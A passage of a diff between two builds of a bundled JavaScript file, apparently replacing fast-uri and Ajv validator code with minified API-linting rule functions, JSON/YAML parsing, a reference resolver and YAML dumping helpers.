+ if (void 0 !== t10) + return t10.lastIndex = 0, t10; + const i9 = function(e13) { + const t11 = s7.exec(e13); + return null !== t11 ? new RegExp(t11[1], t11[2]) : new RegExp(e13); + }(e12); + return a7.set(e12, i9), i9; } - if (parsed.scheme === void 0 && parsed.userinfo === void 0 && parsed.host === void 0 && parsed.port === void 0 && parsed.query === void 0 && !parsed.path) { - parsed.reference = "same-document"; - } else if (parsed.scheme === void 0) { - parsed.reference = "relative"; - } else if (parsed.fragment === void 0) { - parsed.reference = "absolute"; - } else { - parsed.reference = "uri"; + t9.default = (0, n8.createRulesetFunction)({ input: { type: "string" }, options: o7.optionSchemas.pattern }, function(e12, t10) { + let i9; + return "match" in t10 && (p7(t10.match).test(e12) || (i9 = [{ message: `#{{print("value")}} must match the pattern ${(0, r8.printValue)(t10.match)}` }])), "notMatch" in t10 && p7(t10.notMatch).test(e12) && (null != i9 ? i9 : i9 = []).push({ message: `#{{print("value")}} must not match the pattern ${(0, r8.printValue)(t10.notMatch)}` }), i9; + }); + }, 79097: (e11, t9, i8) => { + "use strict"; + Object.defineProperty(t9, "__esModule", { value: true }), t9.createAjvInstances = void 0; + const n8 = i8(69371), r8 = (0, n8.__importDefault)(i8(11601)), o7 = (0, n8.__importDefault)(i8(88856)), s7 = (0, n8.__importDefault)(i8(88728)), a7 = (0, n8.__importDefault)(i8(33467)), p7 = (0, n8.__importDefault)(i8(74421)), c7 = (0, n8.__importDefault)(i8(67156)), d7 = (0, n8.__importStar)(i8(26443)), f8 = (0, n8.__importStar)(i8(33978)), l7 = { warn(...e12) { + const t10 = e12[0]; + if ("string" == typeof t10) { + if (t10.startsWith("unknown format")) + return; + console.warn(...e12); + } + }, log: console.log, error: console.error }; + function u7(e12, t10) { + const i9 = new e12({ allErrors: t10, meta: true, messages: true, strict: false, allowUnionTypes: true, logger: l7, unicodeRegExp: false }); + return (0, p7.default)(i9), t10 && (0, c7.default)(i9), e12 === r8.default && (i9.addSchema(f8), i9.addSchema(d7)), i9; } - if (options.reference && options.reference !== "suffix" && options.reference !== parsed.reference) { - parsed.error = parsed.error || "URI is not a " + options.reference + " reference."; + function m7(e12) { + let t10, i9; + return { get default() { + return null != t10 || (t10 = u7(e12, false)), t10; + }, get allErrors() { + return null != i9 || (i9 = u7(e12, true)), i9; + } }; } - const schemeHandler = SCHEMES[(options.scheme || parsed.scheme || "").toLowerCase()]; - if (!options.unicodeSupport && (!schemeHandler || !schemeHandler.unicodeSupport)) { - if (parsed.host && (options.domainHost || schemeHandler && schemeHandler.domainHost) && isIP === false && nonSimpleDomain(parsed.host)) { - try { - parsed.host = URL.domainToASCII(parsed.host.toLowerCase()); - } catch (e10) { - parsed.error = parsed.error || "Host's domain name can not be converted to ASCII: " + e10; + t9.createAjvInstances = function() { + const e12 = { auto: m7(r8.default), draft4: m7(a7.default), "draft2019-09": m7(o7.default), "draft2020-12": m7(s7.default) }, t10 = /* @__PURE__ */ new WeakMap(); + return function(i9, n9, r9) { + var o8, s8, a8, p8; + const c8 = (null !== (o8 = e12[n9]) && void 0 !== o8 ? o8 : e12.auto)[r9 ? "allErrors" : "default"], d8 = i9.$id; + if ("string" == typeof d8) + return null !== (s8 = c8.getSchema(d8)) && void 0 !== s8 ? s8 : c8.compile(i9); + { + const e13 = null !== (a8 = t10.get(c8)) && void 0 !== a8 ? a8 : t10.set(c8, /* @__PURE__ */ new WeakMap()).get(c8); + return null !== (p8 = e13.get(i9)) && void 0 !== p8 ? p8 : e13.set(i9, c8.compile(i9)).get(i9); } + }; + }; + }, 95818: (e11, t9, i8) => { + "use strict"; + Object.defineProperty(t9, "__esModule", { value: true }); + const n8 = i8(69371), r8 = (0, n8.__importDefault)(i8(58883)), o7 = i8(67423), s7 = i8(79097), a7 = (0, n8.__importDefault)(i8(85748)), p7 = i8(23859), c7 = i8(45250), d7 = i8(9251), f8 = /* @__PURE__ */ new WeakMap(); + t9.default = (0, p7.createRulesetFunction)({ input: null, options: d7.optionSchemas.schema }, function(e12, t10, { path: i9, rule: n9, documentInventory: p8 }) { + var d8, l7, u7; + if (void 0 === e12) + return [{ path: i9, message: '#{{print("property")}}must exist' }]; + const m7 = null !== (d8 = f8.get(p8)) && void 0 !== d8 ? d8 : f8.set(p8, (0, s7.createAjvInstances)()).get(p8), h8 = [], { allErrors: y7 = false, schema: g7 } = t10; + try { + const n10 = m7(g7, null !== (l7 = void 0 === t10.dialect || "auto" === t10.dialect ? (0, o7.detectDialect)(g7) : null == t10 ? void 0 : t10.dialect) && void 0 !== l7 ? l7 : "draft7", y7); + false === (null == n10 ? void 0 : n10(e12)) && Array.isArray(n10.errors) && (null === (u7 = t10.prepareResults) || void 0 === u7 || u7.call(t10, n10.errors), h8.push(...(0, r8.default)(g7, n10.errors, { propertyPath: i9, targetValue: e12 }).map(({ suggestion: e13, error: t11, path: n11 }) => ({ message: void 0 !== e13 ? `${t11}. ${e13}` : t11, path: [...i9, ..."" !== n11 ? n11.replace(/^\//, "").split("/") : []] })))); + } catch (e13) { + if (!(0, c7.isError)(e13)) + throw new Error("Unexpected error"); + (null == n9 ? void 0 : n9.resolved) && e13 instanceof a7.default || h8.push({ message: e13.message, path: i9 }); + } + return h8; + }); + }, 11214: (e11, t9, i8) => { + "use strict"; + Object.defineProperty(t9, "__esModule", { value: true }); + const n8 = i8(23859), r8 = i8(9251); + t9.default = (0, n8.createRulesetFunction)({ input: null, options: r8.optionSchemas.truthy }, function(e12) { + if (!e12) + return [{ message: '#{{print("property")}}must be truthy' }]; + }); + }, 92805: (e11, t9) => { + "use strict"; + var i8; + Object.defineProperty(t9, "__esModule", { value: true }), t9.CasingType = void 0, (i8 = t9.CasingType || (t9.CasingType = {})).flat = "flat", i8.camel = "camel", i8.pascal = "pascal", i8.kebab = "kebab", i8.cobol = "cobol", i8.snake = "snake", i8.macro = "macro"; + }, 60928: (e11, t9, i8) => { + "use strict"; + Object.defineProperty(t9, "__esModule", { value: true }); + const n8 = i8(23859), r8 = i8(9251); + t9.default = (0, n8.createRulesetFunction)({ input: null, options: r8.optionSchemas.undefined }, function(e12) { + if (void 0 !== e12) + return [{ message: '#{{print("property")}}must be undefined' }]; + }); + }, 67884: (e11, t9, i8) => { + "use strict"; + Object.defineProperty(t9, "__esModule", { value: true }); + const n8 = i8(23859), r8 = i8(95955), o7 = i8(46734), s7 = i8(9251); + t9.default = (0, n8.createRulesetFunction)({ input: { type: "object" }, options: s7.optionSchemas.unreferencedReusableObject }, function(e12, t10, { document: i9, documentInventory: n9 }) { + var s8; + const a7 = n9.graph; + if (null === a7) + throw new Error("unreferencedReusableObject requires dependency graph"); + const p7 = null !== (s8 = i9.source) && void 0 !== s8 ? s8 : "", c7 = Object.keys(e12).map((e13) => `${p7}${t10.reusableObjectsLocation}/${e13}`), d7 = new Set(a7.overallOrder().map((e13) => (0, o7.decodePointer)(e13))); + return c7.filter((e13) => !d7.has(e13)).map((e13) => ({ message: "Potential orphaned reusable object has been detected", path: (0, r8.safePointerToPath)(e13) })); + }); + }, 6073: (e11, t9, i8) => { + "use strict"; + Object.defineProperty(t9, "__esModule", { value: true }); + const n8 = i8(23859), r8 = i8(95955), o7 = i8(9251); + t9.default = (0, n8.createRulesetFunction)({ input: { type: "object" }, options: o7.optionSchemas.xor }, function(e12, { properties: t10 }) { + const i9 = []; + if (1 !== Object.keys(e12).filter((e13) => t10.includes(e13)).length) { + const e13 = t10.map((e14) => (0, r8.printValue)(e14)), n9 = e13.pop(); + let o8 = e13.join(", ") + (null != n9 ? ` and ${n9}` : ""); + o8 += " must not be both defined or both undefined", i9.push({ message: o8 }); } + return i9; + }); + }, 63083: (e11, t9, i8) => { + "use strict"; + Object.defineProperty(t9, "__esModule", { value: true }); + const n8 = i8(39862); + (0, n8.__exportStar)(i8(50973), t9), (0, n8.__exportStar)(i8(72708), t9), (0, n8.__exportStar)(i8(51562), t9); + }, 50973: (e11, t9, i8) => { + "use strict"; + Object.defineProperty(t9, "__esModule", { value: true }), t9.Json = t9.parseJson = void 0; + const n8 = i8(46734); + t9.parseJson = (e12) => (0, n8.parseWithPointers)(e12, { ignoreDuplicateKeys: false, preserveKeyOrder: true }), t9.Json = { parse: t9.parseJson, getLocationForJsonPath: n8.getLocationForJsonPath, trapAccess: n8.trapAccess }; + }, 51562: (e11, t9) => { + "use strict"; + Object.defineProperty(t9, "__esModule", { value: true }); + }, 72708: (e11, t9, i8) => { + "use strict"; + Object.defineProperty(t9, "__esModule", { value: true }), t9.Yaml = t9.parseYaml = void 0; + const n8 = i8(3740); + t9.parseYaml = (e12) => (0, n8.parseWithPointers)(e12, { ignoreDuplicateKeys: false, mergeKeys: true, preserveKeyOrder: true, attachComments: false }), t9.Yaml = { parse: t9.parseYaml, getLocationForJsonPath: function(e12, t10) { + return (0, n8.getLocationForJsonPath)(e12, t10); + }, trapAccess: n8.trapAccess }; + }, 88601: (e11, t9, i8) => { + "use strict"; + Object.defineProperty(t9, "__esModule", { value: true }), t9.createHttpAndFileResolver = t9.ResolverDepGraph = t9.Resolver = t9.httpAndFileResolver = void 0; + const n8 = i8(2230), r8 = i8(54668), o7 = i8(16586); + Object.defineProperty(t9, "Resolver", { enumerable: true, get: function() { + return o7.Resolver; + } }); + const s7 = i8(95955), a7 = i8(30524); + function p7(e12) { + const t10 = (0, r8.createResolveHttp)({ ...s7.DEFAULT_REQUEST_OPTIONS, ...e12 }); + return new o7.Resolver({ resolvers: { https: { resolve: t10 }, http: { resolve: t10 }, file: { resolve: r8.resolveFile } } }); } - if (!schemeHandler || schemeHandler && !schemeHandler.skipNormalize) { - if (gotEncoding && parsed.scheme !== void 0) { - parsed.scheme = unescape(parsed.scheme); + (0, n8.__exportStar)(i8(7944), t9), t9.httpAndFileResolver = p7(), t9.ResolverDepGraph = a7.DepGraph, t9.createHttpAndFileResolver = p7; + }, 7944: (e11, t9) => { + "use strict"; + Object.defineProperty(t9, "__esModule", { value: true }); + }, 86663: (e11, t9, i8) => { + "use strict"; + Object.defineProperty(t9, "__esModule", { value: true }), t9.DEFAULT_REQUEST_OPTIONS = void 0; + const n8 = (0, i8(54078).__importDefault)(i8(98203)); + t9.DEFAULT_REQUEST_OPTIONS = {}, t9.default = async (e12, i9 = {}) => (0, n8.default)(e12, { ...i9, ...t9.DEFAULT_REQUEST_OPTIONS }); + }, 95955: (e11, t9, i8) => { + "use strict"; + Object.defineProperty(t9, "__esModule", { value: true }), t9.DEFAULT_REQUEST_OPTIONS = t9.fetch = void 0; + const n8 = i8(54078); + (0, n8.__exportStar)(i8(14205), t9); + var r8 = i8(86663); + Object.defineProperty(t9, "fetch", { enumerable: true, get: function() { + return (0, n8.__importDefault)(r8).default; + } }), Object.defineProperty(t9, "DEFAULT_REQUEST_OPTIONS", { enumerable: true, get: function() { + return r8.DEFAULT_REQUEST_OPTIONS; + } }), (0, n8.__exportStar)(i8(65744), t9); + }, 65744: (e11, t9, i8) => { + "use strict"; + Object.defineProperty(t9, "__esModule", { value: true }), t9.readParsable = t9.readFile = void 0; + const n8 = i8(54078), r8 = i8(98136), o7 = (0, n8.__importDefault)(i8(67083)), s7 = (0, n8.__importStar)(i8(18248)), a7 = i8(45250), p7 = (0, n8.__importDefault)(i8(86663)), c7 = i8(92918); + async function d7(e12, t10) { + if ((0, r8.isURL)(e12)) { + let i9, n9 = null; + try { + const r9 = {}; + if (r9.agent = t10.agent, void 0 !== t10.timeout) { + const e13 = new o7.default(); + n9 = setTimeout(() => { + e13.abort(); + }, t10.timeout), r9.signal = e13.signal; + } + if (i9 = await (0, p7.default)(e12, r9), !i9.ok) + throw new Error(i9.statusText); + return await i9.text(); + } catch (e13) { + throw (0, a7.isError)(e13) && "AbortError" === e13.name ? new Error("Timeout") : e13; + } finally { + null !== n9 && clearTimeout(n9); + } + } else + try { + return await new Promise((i9, n9) => { + s7.readFile(e12, t10.encoding, (e13, t11) => { + null !== e13 ? n9(e13) : i9(t11); + }); + }); + } catch (t11) { + throw new Error(`Could not read ${e12}: ${(0, c7.printError)(t11)}`); + } + } + t9.readFile = d7, t9.readParsable = async function(e12, t10) { + try { + return await d7(e12, t10); + } catch (t11) { + throw new Error(`Could not parse ${e12}: ${(0, c7.printError)(t11)}`); } - if (gotEncoding && parsed.host !== void 0) { - parsed.host = unescape(parsed.host); + }; + }, 39090: (e11, t9, i8) => { + "use strict"; + Object.defineProperty(t9, "__esModule", { value: true }), t9.decodeSegmentFragment = void 0; + const n8 = i8(46734); + t9.decodeSegmentFragment = function(e12) { + return "string" != typeof e12 ? String(e12) : (0, n8.decodePointerFragment)(e12); + }; + }, 14205: (e11, t9, i8) => { + "use strict"; + Object.defineProperty(t9, "__esModule", { value: true }); + const n8 = i8(54078); + (0, n8.__exportStar)(i8(39090), t9), (0, n8.__exportStar)(i8(92918), t9), (0, n8.__exportStar)(i8(73389), t9), (0, n8.__exportStar)(i8(24569), t9), (0, n8.__exportStar)(i8(6291), t9); + }, 92918: (e11, t9, i8) => { + "use strict"; + Object.defineProperty(t9, "__esModule", { value: true }), t9.printError = void 0; + const n8 = i8(45250); + t9.printError = function(e12) { + return (0, n8.isError)(e12) ? e12.message : "unknown error"; + }; + }, 73389: (e11, t9, i8) => { + "use strict"; + Object.defineProperty(t9, "__esModule", { value: true }), t9.printPath = t9.PrintStyle = void 0; + const n8 = i8(46734); + var r8; + !function(e12) { + e12.Dot = "dot", e12.Pointer = "pointer", e12.EscapedPointer = "escapedPointer"; + }(r8 = t9.PrintStyle || (t9.PrintStyle = {})); + const o7 = (e12) => "number" == typeof e12 ? e12 : (0, n8.decodePointerFragment)(e12); + t9.printPath = (e12, t10) => { + switch (t10) { + case r8.Dot: + return (0, n8.decodePointerFragment)(((e13) => e13.reduce((e14, t11, i9) => { + var n9; + return `${e14}${null !== (n9 = ((e15) => { + return "number" == typeof e15 ? `[${e15}]` : 0 === e15.length ? "['']" : /\s/.test(e15) ? `['${e15}']` : "number" != typeof (t12 = e15) && Number.isNaN(Number(t12)) ? null : `[${e15}]`; + var t12; + })(t11)) && void 0 !== n9 ? n9 : `${0 === i9 ? "" : "."}${t11}`}`; + }, ""))(e12)); + case r8.Pointer: + return 0 === e12.length ? "#" : `#/${(0, n8.decodePointerFragment)(e12.join("/"))}`; + case r8.EscapedPointer: + return (0, n8.pathToPointer)(e12.map(o7)); + default: + return String(e12); } - if (parsed.path) { - parsed.path = escape(unescape(parsed.path)); + }; + }, 24569: (e11, t9, i8) => { + "use strict"; + Object.defineProperty(t9, "__esModule", { value: true }), t9.printValue = void 0; + const n8 = i8(45250), r8 = i8(46734); + t9.printValue = function(e12) { + return void 0 === e12 ? "undefined" : (0, n8.isObject)(e12) ? Array.isArray(e12) ? "Array[]" : e12 instanceof RegExp ? String(e12.source) : !(0, r8.isPlainObject)(e12) && "constructor" in e12 && "string" == typeof e12.constructor.name ? e12.constructor.name : "Object{}" : JSON.stringify(e12); + }; + }, 6291: (e11, t9, i8) => { + "use strict"; + Object.defineProperty(t9, "__esModule", { value: true }), t9.getClosestJsonPath = t9.safePointerToPath = t9.getEndRef = t9.traverseObjUntilRef = t9.isAbsoluteRef = t9.startsWithProtocol = void 0; + const n8 = i8(46734), r8 = i8(98136), o7 = i8(45250), s7 = /^[a-z]+:\/\//i; + t9.startsWithProtocol = (e12) => s7.test(e12), t9.isAbsoluteRef = (e12) => (0, r8.isAbsolute)(e12) || (0, t9.startsWithProtocol)(e12), t9.traverseObjUntilRef = (e12, t10) => { + let i9 = e12; + for (const e13 of t10.slice()) { + if (!(0, o7.isObject)(i9)) + throw new TypeError("Segment is not a part of the object"); + if (!(e13 in i9)) { + if ((0, n8.hasRef)(i9)) + return i9.$ref; + throw new Error("Segment is not a part of the object"); + } + i9 = i9[e13], t10.shift(); } - if (parsed.fragment) { - parsed.fragment = encodeURI(decodeURIComponent(parsed.fragment)); + return (0, n8.isPlainObject)(i9) && (0, n8.hasRef)(i9) && 1 === Object.keys(i9).length ? i9.$ref : null; + }, t9.getEndRef = (e12, t10) => { + for (; t10 in e12; ) + t10 = e12[t10]; + return t10; + }, t9.safePointerToPath = (e12) => { + const t10 = (0, n8.extractPointerFromRef)(e12); + return null !== t10 ? (0, n8.pointerToPath)(t10) : []; + }, t9.getClosestJsonPath = (e12, t10) => { + const i9 = []; + if (!(0, o7.isObject)(e12)) + return i9; + let n9 = e12; + for (const e13 of t10) { + if (!(0, o7.isObject)(n9) || !(e13 in n9)) + break; + i9.push(e13), n9 = n9[e13]; } + return i9; + }; + }, 29228: (e11, t9) => { + "use strict"; + function i8(e12) { + return null == e12; } - if (schemeHandler && schemeHandler.parse) { - schemeHandler.parse(parsed, options); + Object.defineProperty(t9, "__esModule", { value: true }), t9.isNothing = i8, t9.isObject = function(e12) { + return "object" == typeof e12 && null !== e12; + }, t9.toArray = function(e12) { + return Array.isArray(e12) ? e12 : i8(e12) ? [] : [e12]; + }, t9.extend = function(e12, t10) { + var i9, n8, r8, o7; + if (t10) + for (i9 = 0, n8 = (o7 = Object.keys(t10)).length; i9 < n8; i9 += 1) + e12[r8 = o7[i9]] = t10[r8]; + return e12; + }, t9.repeat = function(e12, t10) { + var i9, n8 = ""; + for (i9 = 0; i9 < t10; i9 += 1) + n8 += e12; + return n8; + }, t9.isNegativeZero = function(e12) { + return 0 === e12 && Number.NEGATIVE_INFINITY === 1 / e12; + }; + }, 17128: (e11, t9, i8) => { + "use strict"; + Object.defineProperty(t9, "__esModule", { value: true }); + var n8 = i8(29228), r8 = i8(94716), o7 = i8(80406), s7 = i8(23102), a7 = Object.prototype.toString, p7 = Object.prototype.hasOwnProperty, c7 = 9, d7 = 10, f8 = 13, l7 = 32, u7 = 33, m7 = 34, h8 = 35, y7 = 37, g7 = 38, b8 = 39, v8 = 42, j6 = 44, $5 = 45, x7 = 58, _6 = 61, w6 = 62, S6 = 63, P6 = 64, O7 = 91, T6 = 93, A6 = 96, I6 = 123, E6 = 124, q5 = 125, k6 = { 0: "\\0", 7: "\\a", 8: "\\b", 9: "\\t", 10: "\\n", 11: "\\v", 12: "\\f", 13: "\\r", 27: "\\e", 34: '\\"', 92: "\\\\", 133: "\\N", 160: "\\_", 8232: "\\L", 8233: "\\P" }, M6 = ["y", "Y", "yes", "Yes", "YES", "on", "On", "ON", "n", "N", "no", "No", "NO", "off", "Off", "OFF"]; + function R6(e12) { + var t10, i9, o8; + if (t10 = e12.toString(16).toUpperCase(), e12 <= 255) + i9 = "x", o8 = 2; + else if (e12 <= 65535) + i9 = "u", o8 = 4; + else { + if (!(e12 <= 4294967295)) + throw new r8("code point within a string may not be greater than 0xFFFFFFFF"); + i9 = "U", o8 = 8; + } + return "\\" + i9 + n8.repeat("0", o8 - t10.length) + t10; } - } else { - parsed.error = parsed.error || "URI can not be parsed."; - } - return parsed; - } - var fastUri = { - SCHEMES, - normalize: normalize2, - resolve: resolve3, - resolveComponents, - equal: equal2, - serialize, - parse: parse17 - }; - module5.exports = fastUri; - module5.exports.default = fastUri; - module5.exports.fastUri = fastUri; - } -}); - -// node_modules/ajv/dist/runtime/uri.js -var require_uri = __commonJS({ - "node_modules/ajv/dist/runtime/uri.js"(exports28) { - "use strict"; - init_dirname(); - init_buffer2(); - init_process2(); - Object.defineProperty(exports28, "__esModule", { value: true }); - var uri = require_fast_uri(); - uri.code = 'require("ajv/dist/runtime/uri").default'; - exports28.default = uri; - } -}); - -// node_modules/ajv/dist/core.js -var require_core = __commonJS({ - "node_modules/ajv/dist/core.js"(exports28) { - "use strict"; - init_dirname(); - init_buffer2(); - init_process2(); - Object.defineProperty(exports28, "__esModule", { value: true }); - exports28.CodeGen = exports28.Name = exports28.nil = exports28.stringify = exports28.str = exports28._ = exports28.KeywordCxt = void 0; - var validate_1 = require_validate(); - Object.defineProperty(exports28, "KeywordCxt", { enumerable: true, get: function() { - return validate_1.KeywordCxt; - } }); - var codegen_1 = require_codegen(); - Object.defineProperty(exports28, "_", { enumerable: true, get: function() { - return codegen_1._; - } }); - Object.defineProperty(exports28, "str", { enumerable: true, get: function() { - return codegen_1.str; - } }); - Object.defineProperty(exports28, "stringify", { enumerable: true, get: function() { - return codegen_1.stringify; - } }); - Object.defineProperty(exports28, "nil", { enumerable: true, get: function() { - return codegen_1.nil; - } }); - Object.defineProperty(exports28, "Name", { enumerable: true, get: function() { - return codegen_1.Name; - } }); - Object.defineProperty(exports28, "CodeGen", { enumerable: true, get: function() { - return codegen_1.CodeGen; - } }); - var validation_error_1 = require_validation_error(); - var ref_error_1 = require_ref_error(); - var rules_1 = require_rules(); - var compile_1 = require_compile(); - var codegen_2 = require_codegen(); - var resolve_1 = require_resolve(); - var dataType_1 = require_dataType(); - var util_1 = require_util(); - var $dataRefSchema = require_data(); - var uri_1 = require_uri(); - var defaultRegExp = (str2, flags) => new RegExp(str2, flags); - defaultRegExp.code = "new RegExp"; - var META_IGNORE_OPTIONS = ["removeAdditional", "useDefaults", "coerceTypes"]; - var EXT_SCOPE_NAMES = /* @__PURE__ */ new Set([ - "validate", - "serialize", - "parse", - "wrapper", - "root", - "schema", - "keyword", - "pattern", - "formats", - "validate$data", - "func", - "obj", - "Error" - ]); - var removedOptions = { - errorDataPath: "", - format: "`validateFormats: false` can be used instead.", - nullable: '"nullable" keyword is supported by default.', - jsonPointers: "Deprecated jsPropertySyntax can be used instead.", - extendRefs: "Deprecated ignoreKeywordsWithRef can be used instead.", - missingRefs: "Pass empty schema with $id that should be ignored to ajv.addSchema.", - processCode: "Use option `code: {process: (code, schemaEnv: object) => string}`", - sourceCode: "Use option `code: {source: true}`", - strictDefaults: "It is default now, see option `strict`.", - strictKeywords: "It is default now, see option `strict`.", - uniqueItems: '"uniqueItems" keyword is always validated.', - unknownFormats: "Disable strict mode or pass `true` to `ajv.addFormat` (or `formats` option).", - cache: "Map is used as cache, schema object as key.", - serialize: "Map is used as cache, schema object as key.", - ajvErrors: "It is default now." - }; - var deprecatedOptions = { - ignoreKeywordsWithRef: "", - jsPropertySyntax: "", - unicode: '"minLength"/"maxLength" account for unicode characters by default.' - }; - var MAX_EXPRESSION = 200; - function requiredOptions(o7) { - var _a2, _b, _c, _d, _e2, _f, _g, _h, _j, _k, _l, _m, _o, _p, _q, _r, _s, _t2, _u, _v, _w, _x, _y, _z, _0; - const s7 = o7.strict; - const _optz = (_a2 = o7.code) === null || _a2 === void 0 ? void 0 : _a2.optimize; - const optimize = _optz === true || _optz === void 0 ? 1 : _optz || 0; - const regExp = (_c = (_b = o7.code) === null || _b === void 0 ? void 0 : _b.regExp) !== null && _c !== void 0 ? _c : defaultRegExp; - const uriResolver = (_d = o7.uriResolver) !== null && _d !== void 0 ? _d : uri_1.default; - return { - strictSchema: (_f = (_e2 = o7.strictSchema) !== null && _e2 !== void 0 ? _e2 : s7) !== null && _f !== void 0 ? _f : true, - strictNumbers: (_h = (_g = o7.strictNumbers) !== null && _g !== void 0 ? _g : s7) !== null && _h !== void 0 ? _h : true, - strictTypes: (_k = (_j = o7.strictTypes) !== null && _j !== void 0 ? _j : s7) !== null && _k !== void 0 ? _k : "log", - strictTuples: (_m = (_l = o7.strictTuples) !== null && _l !== void 0 ? _l : s7) !== null && _m !== void 0 ? _m : "log", - strictRequired: (_p = (_o = o7.strictRequired) !== null && _o !== void 0 ? _o : s7) !== null && _p !== void 0 ? _p : false, - code: o7.code ? { ...o7.code, optimize, regExp } : { optimize, regExp }, - loopRequired: (_q = o7.loopRequired) !== null && _q !== void 0 ? _q : MAX_EXPRESSION, - loopEnum: (_r = o7.loopEnum) !== null && _r !== void 0 ? _r : MAX_EXPRESSION, - meta: (_s = o7.meta) !== null && _s !== void 0 ? _s : true, - messages: (_t2 = o7.messages) !== null && _t2 !== void 0 ? _t2 : true, - inlineRefs: (_u = o7.inlineRefs) !== null && _u !== void 0 ? _u : true, - schemaId: (_v = o7.schemaId) !== null && _v !== void 0 ? _v : "$id", - addUsedSchema: (_w = o7.addUsedSchema) !== null && _w !== void 0 ? _w : true, - validateSchema: (_x = o7.validateSchema) !== null && _x !== void 0 ? _x : true, - validateFormats: (_y = o7.validateFormats) !== null && _y !== void 0 ? _y : true, - unicodeRegExp: (_z = o7.unicodeRegExp) !== null && _z !== void 0 ? _z : true, - int32range: (_0 = o7.int32range) !== null && _0 !== void 0 ? _0 : true, - uriResolver - }; - } - var Ajv7 = class { - constructor(opts = {}) { - this.schemas = {}; - this.refs = {}; - this.formats = {}; - this._compilations = /* @__PURE__ */ new Set(); - this._loading = {}; - this._cache = /* @__PURE__ */ new Map(); - opts = this.opts = { ...opts, ...requiredOptions(opts) }; - const { es5, lines } = this.opts.code; - this.scope = new codegen_2.ValueScope({ scope: {}, prefixes: EXT_SCOPE_NAMES, es5, lines }); - this.logger = getLogger(opts.logger); - const formatOpt = opts.validateFormats; - opts.validateFormats = false; - this.RULES = (0, rules_1.getRules)(); - checkOptions.call(this, removedOptions, opts, "NOT SUPPORTED"); - checkOptions.call(this, deprecatedOptions, opts, "DEPRECATED", "warn"); - this._metaOpts = getMetaSchemaOptions.call(this); - if (opts.formats) - addInitialFormats.call(this); - this._addVocabularies(); - this._addDefaultMetaSchema(); - if (opts.keywords) - addInitialKeywords.call(this, opts.keywords); - if (typeof opts.meta == "object") - this.addMetaSchema(opts.meta); - addInitialSchemas.call(this); - opts.validateFormats = formatOpt; - } - _addVocabularies() { - this.addKeyword("$async"); - } - _addDefaultMetaSchema() { - const { $data, meta, schemaId } = this.opts; - let _dataRefSchema = $dataRefSchema; - if (schemaId === "id") { - _dataRefSchema = { ...$dataRefSchema }; - _dataRefSchema.id = _dataRefSchema.$id; - delete _dataRefSchema.$id; + function D6(e12) { + this.schema = e12.schema || o7, this.indent = Math.max(1, e12.indent || 2), this.noArrayIndent = e12.noArrayIndent || false, this.skipInvalid = e12.skipInvalid || false, this.flowLevel = n8.isNothing(e12.flowLevel) ? -1 : e12.flowLevel, this.styleMap = function(e13, t10) { + var i9, n9, r9, o8, s8, a8, c8; + if (null === t10) + return {}; + for (i9 = {}, r9 = 0, o8 = (n9 = Object.keys(t10)).length; r9 < o8; r9 += 1) + s8 = n9[r9], a8 = String(t10[s8]), "!!" === s8.slice(0, 2) && (s8 = "tag:yaml.org,2002:" + s8.slice(2)), (c8 = e13.compiledTypeMap.fallback[s8]) && p7.call(c8.styleAliases, a8) && (a8 = c8.styleAliases[a8]), i9[s8] = a8; + return i9; + }(this.schema, e12.styles || null), this.sortKeys = e12.sortKeys || false, this.lineWidth = e12.lineWidth || 80, this.noRefs = e12.noRefs || false, this.noCompatMode = e12.noCompatMode || false, this.condenseFlow = e12.condenseFlow || false, this.implicitTypes = this.schema.compiledImplicit, this.explicitTypes = this.schema.compiledExplicit, this.comments = e12.comments || {}, this.tag = null, this.result = "", this.duplicates = [], this.usedDuplicates = null; } - if (meta && $data) - this.addMetaSchema(_dataRefSchema, _dataRefSchema[schemaId], false); - } - defaultMeta() { - const { meta, schemaId } = this.opts; - return this.opts.defaultMeta = typeof meta == "object" ? meta[schemaId] || meta : void 0; - } - validate(schemaKeyRef, data) { - let v8; - if (typeof schemaKeyRef == "string") { - v8 = this.getSchema(schemaKeyRef); - if (!v8) - throw new Error(`no schema with key or ref "${schemaKeyRef}"`); - } else { - v8 = this.compile(schemaKeyRef); + function C6(e12, t10) { + for (var i9, r9 = n8.repeat(" ", t10), o8 = 0, s8 = -1, a8 = "", p8 = e12.length; o8 < p8; ) + -1 === (s8 = e12.indexOf("\n", o8)) ? (i9 = e12.slice(o8), o8 = p8) : (i9 = e12.slice(o8, s8 + 1), o8 = s8 + 1), i9.length && "\n" !== i9 && (a8 += r9), a8 += i9; + return a8; } - const valid = v8(data); - if (!("$async" in v8)) - this.errors = v8.errors; - return valid; - } - compile(schema8, _meta) { - const sch = this._addSchema(schema8, _meta); - return sch.validate || this._compileSchemaEnv(sch); - } - compileAsync(schema8, meta) { - if (typeof this.opts.loadSchema != "function") { - throw new Error("options.loadSchema should be a function"); + function V5(e12, t10) { + return "\n" + n8.repeat(" ", e12.indent * t10); } - const { loadSchema } = this.opts; - return runCompileAsync.call(this, schema8, meta); - async function runCompileAsync(_schema, _meta) { - await loadMetaSchema.call(this, _schema.$schema); - const sch = this._addSchema(_schema, _meta); - return sch.validate || _compileAsync.call(this, sch); + function N6(e12) { + return e12 === l7 || e12 === c7; } - async function loadMetaSchema($ref) { - if ($ref && !this.getSchema($ref)) { - await runCompileAsync.call(this, { $ref }, true); - } + function F6(e12) { + return 32 <= e12 && e12 <= 126 || 161 <= e12 && e12 <= 55295 && 8232 !== e12 && 8233 !== e12 || 57344 <= e12 && e12 <= 65533 && 65279 !== e12 || 65536 <= e12 && e12 <= 1114111; } - async function _compileAsync(sch) { - try { - return this._compileSchemaEnv(sch); - } catch (e10) { - if (!(e10 instanceof ref_error_1.default)) - throw e10; - checkLoaded.call(this, e10); - await loadMissingSchema.call(this, e10.missingSchema); - return _compileAsync.call(this, sch); - } + function U6(e12, t10) { + return F6(e12) && 65279 !== e12 && e12 !== j6 && e12 !== O7 && e12 !== T6 && e12 !== I6 && e12 !== q5 && e12 !== x7 && (e12 !== h8 || t10 && function(e13) { + return F6(e13) && !N6(e13) && 65279 !== e13 && e13 !== f8 && e13 !== d7; + }(t10)); } - function checkLoaded({ missingSchema: ref, missingRef }) { - if (this.refs[ref]) { - throw new Error(`AnySchema ${ref} is loaded but ${missingRef} cannot be resolved`); + function L6(e12) { + return /^\n* /.test(e12); + } + var z6 = 1, B6 = 2, Q5 = 3, K5 = 4, H5 = 5; + function G5(e12, t10, i9, n9, o8) { + var s8 = function() { + if (0 === t10.length) + return "''"; + if (!e12.noCompatMode && -1 !== M6.indexOf(t10)) + return "'" + t10 + "'"; + var o9 = e12.indent * 